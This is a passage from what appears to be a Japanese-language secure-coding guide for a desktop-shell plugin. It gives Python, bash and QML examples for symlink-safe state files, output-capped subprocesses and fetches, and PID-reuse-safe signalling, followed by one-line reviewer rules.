if not parts or not all(_ok_component(p) for p in parts):
raise PermissionError("refusing directory chain")
# $HOME is attacker-controlled for a same-UID child; passwd is the trust anchor.
# The home itself may be a symlink (user config), so do not O_NOFOLLOW the anchor.
home = pwd.getpwuid(os.geteuid()).pw_dir
fd = os.open(home, os.O_RDONLY | os.O_DIRECTORY | os.O_CLOEXEC)
try:
for i, name in enumerate(parts):
try:
nfd = os.open(name, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW | os.O_CLOEXEC, dir_fd=fd)
except FileNotFoundError:
try:
os.mkdir(name, 0o700, dir_fd=fd)
except FileExistsError:
pass
nfd = os.open(name, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW | os.O_CLOEXEC, dir_fd=fd)
os.close(fd)
fd = nfd
st = os.fstat(fd)
if not stat.S_ISDIR(st.st_mode) or st.st_uid != os.geteuid():
raise PermissionError(f"untrusted directory component {name}")
# Only the plugin's own leaf directory is forced to 0700; XDG parents stay as set.
if i == len(parts) - 1 and st.st_mode & 0o077:
os.fchmod(fd, 0o700)
return fd
except BaseException:
os.close(fd)
raise
def read_bounded(dirfd, name):
try:
fd = os.open(name, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK | os.O_CLOEXEC, dir_fd=dirfd)
except FileNotFoundError:
return None
try:
st = os.fstat(fd)
if (not stat.S_ISREG(st.st_mode) or st.st_uid != os.geteuid() or st.st_nlink != 1
or st.st_mode & 0o077 or st.st_size > MAX_BYTES):
raise PermissionError("refusing state file (expected 0600, owner-only, one link)")
os.set_blocking(fd, True)
data = b""
while len(data) <= MAX_BYTES:
chunk = os.read(fd, min(65536, MAX_BYTES + 1 - len(data)))
if not chunk:
break
data += chunk
if len(data) > MAX_BYTES:
raise PermissionError("state file grew past the limit")
return data
finally:
os.close(fd)
def write_atomic(dirfd, name, data: bytes):
if len(data) > MAX_BYTES:
raise ValueError("payload too large")
tmp = f".{name}.{secrets.token_hex(8)}.tmp"
fd = os.open(tmp, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW | os.O_CLOEXEC, 0o600, dir_fd=dirfd)
try:
os.fchmod(fd, 0o600)
view = memoryview(data)
while view:
n = os.write(fd, view)
view = view[n:]
os.fsync(fd)
os.rename(tmp, name, src_dir_fd=dirfd, dst_dir_fd=dirfd)
os.fsync(dirfd)
except BaseException:
try:
os.unlink(tmp, dir_fd=dirfd)
except OSError:
pass
raise
finally:
os.close(fd)
if __name__ == "__main__":
op, name = sys.argv[1], sys.argv[2]
if not re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9._-]{0,63}", name) or name in (".", ".."):
sys.exit(2)
dirfd = open_dir_chain([".local", "state", "my-plugin"])
try:
if op == "read":
raw = read_bounded(dirfd, name)
sys.stdout.write(raw.decode("utf-8", "strict") if raw else "")
elif op == "write":
payload = sys.stdin.buffer.read(MAX_BYTES + 1)
if len(payload) > MAX_BYTES:
sys.exit(3)
json.loads(payload) # then apply the same count/length/depth caps as a remote body
write_atomic(dirfd, name, payload)
else:
sys.exit(2)
finally:
os.close(dirfd)
上限付きの監視対象コマンド(bash)
#!/usr/bin/bash
set -uo pipefail
MAX=262144
ERR_MAX=4096
LC_ALL=C
# Own session, absolute deadline with KILL escalation, producer-side cap of MAX + 1.
# Do not take MAX from the environment. ${#out} counts bytes only under LC_ALL=C.
# `--` so a command that starts with - is not an option to timeout.
out=$(/usr/bin/setsid -w /usr/bin/timeout -k 2 -- 20 "$@" 2> >(/usr/bin/head -c $((ERR_MAX + 1)) >&2) | /usr/bin/head -c $((MAX + 1)))
rc=$?
if [ ${#out} -gt "$MAX" ]; then echo "output exceeded ${MAX} bytes" >&2; exit 1; fi
[ "$rc" -eq 0 ] || exit "$rc"
printf '%s' "$out"
pipefail を使うと、rc はパイプライン内で最初にゼロ以外となったステータスになるため、生成元が失敗しても head の正常終了によって隠されません。MAX を超えるバイトを出力した後に生成元が SIGPIPE で終了した場合は、長さのチェックで先に検出されます。ここでは標準エラー出力を ERR_MAX + 1 で切り詰めています。このストリームの超過を検出するには、2つ目のファイル記述子を保持するか、Python の監視プロセスが必要です。また、Bash の $(...) には NUL バイトを保持できません。
上限を設けた固定フェッチ(bash)
fetch_json() {
local url=$1 max=${2:-1048576}
[[ $max =~ ^[1-9][0-9]{0,8}$ ]] || return 1
case $token in *[$'\r\n']*) return 1 ;; esac
[[ $url =~ ^https://api\.example\.com/ ]] || return 1
printf 'Authorization: Bearer %s\n' "$token" \
| /usr/bin/curl -q -sS --fail -H @- --proto '=https' --proto-redir '=https' \
--max-time 10 --connect-timeout 5 --max-filesize "$max" --noproxy '*' -- "$url" \
| /usr/bin/head -c $((max + 1))
}
# call under set -o pipefail, and treat a result longer than $max as failure
-L を指定していないため、リダイレクトはトークン漏えいではなく失敗として扱われます。ホストを設定可能にする場合は、アドレスを検証してから --resolve host:443:IP を追加してください。このパイプラインでは、PATH 上の curl や head にレスポンス本文が渡され(リクエストも確認できます)。どちらのバイナリも固定されています。printf … "$token" で --config ファイルを作成しないでください。トークンに引用符や改行が含まれていると、別の curl ディレクティブになってしまいます。
QML で出力に上限を設けてプロセスを実行する
Process {
id: proc
command: ["/usr/bin/bash", pluginDir + "/bin/bounded-cmd", "/usr/bin/hyprctl", "-j", "clients"]
stdout: SplitParser {
splitMarker: ""
onRead: function(chunk) {
root.buf += chunk
// .length counts UTF-16 units, so this is defense in depth; the byte cap is in the helper
if (root.buf.length > root.maxBytes) { proc.signal(15); killTimer.start(); root.buf = "" }
}
}
onExited: function(code, status) { if (code === 0) root.apply(root.buf); root.buf = "" }
}
Timer { id: killTimer; interval: 2000; onTriggered: proc.signal(9) }
Component.onDestruction: { proc.signal(15) }
数値ではなく識別情報でシグナルを送る(Python)
def identity(pid):
with open(f"/proc/{pid}/stat", "rb") as f:
fields = f.read().rsplit(b")", 1)[1].split()
return (pid, fields[19], os.stat(f"/proc/{pid}").st_uid) # starttime, uid
def stop(pid, expected):
fd = os.pidfd_open(pid) # pin the process first; PIDs reuse
try:
if identity(pid) != expected:
return False # reused between capture and open; refuse
signal.pidfd_send_signal(fd, signal.SIGTERM)
return True
finally:
os.close(fd)
参考:レビュアーによる一行ルール
「収集した後に適用する上限では、適用が遅すぎます。」「--max-time が制限するのは時間であり、バイト数ではありません。」「O_NOFOLLOW が保護するのは最後の構成要素だけです。」「rename(2) は、宛先のシンボリックリンクを置き換えるのであって、そのリンクをたどって書き込むわけではありません。」「ループバックへのバインドは認証ではありません。」「アプリ名やヒントは認可の境界ではありません。」「プロンプトレベルの指示や Bash のコマンドパターンの許可リストは、認可の境界ではありません。」「チェックサムが保証するのは、バイト列同士の対応だけです。」「その動作を文書に記載しても、認証情報の漏えいは防げません。」「セキュリティチェックはフェイルクローズにすべきであり、自分が作成したものではないオブジェクトを削除してはいけません。」「ここでの脅威モデルは悪意のあるプラグインではなく、空港の Wi-Fi に接続する一般ユーザーです。」